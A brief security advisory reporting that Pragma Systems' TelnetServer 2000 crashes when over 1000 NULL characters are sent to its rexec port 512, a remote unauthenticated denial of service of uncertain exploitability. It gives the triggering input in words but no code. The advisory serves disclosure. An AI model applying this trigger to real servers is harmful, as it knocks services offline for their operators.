Pragma Systems offers a windows remote access server called TelnetServer 2000. TelnetServer crashes if more than 1000 NULL characters are sent to its rexec port, 512. This can be executed by an anonymous attacker from anywhere on the internet. It is not known whether this apparent overflow can be exploited to gain access on the victim host.
